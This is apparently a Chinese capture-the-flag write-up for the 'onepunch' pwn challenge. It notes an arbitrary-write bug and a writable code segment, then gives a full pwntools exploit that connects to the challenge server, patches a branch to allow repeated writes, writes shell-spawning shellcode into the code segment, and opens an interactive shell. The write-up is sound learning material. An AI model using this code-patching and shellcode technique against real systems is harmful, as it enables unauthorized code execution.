onepunch

保护
main函数

程序保护很常规,有个任意地址写的洞,但是发现没有可以利用的就断了思路,看了别人的wp才发现代码段可写

所以可以直接修改代码段,直接执行shellcode,为了能多次写,我们首先修改程序逻辑

利用keypatch将jnz short loc_400773 修改成jnz 0x40071d,然后再往0x400769写shellcode

完整exp:

from pwn import *
context(arch = 'x86_64')

#p = process('./onepunch')
p = remote('hackme.inndy.tw',7718)

def patch(addr,content):
    p.recvuntil('Where What?')
    p.sendline('%s %s'%(hex(addr),content))


patch(0x400768,0xb4)
shellcode = asm(shellcraft.sh())
#print disasm(shellcode)

addr = 0x400769
for i,j in enumerate(shellcode):
    patch(addr + i,ord(j))

patch(0x400000,0xff)

p.interactive()

参考m4x师傅的博客

你可能感兴趣的:(onepunch)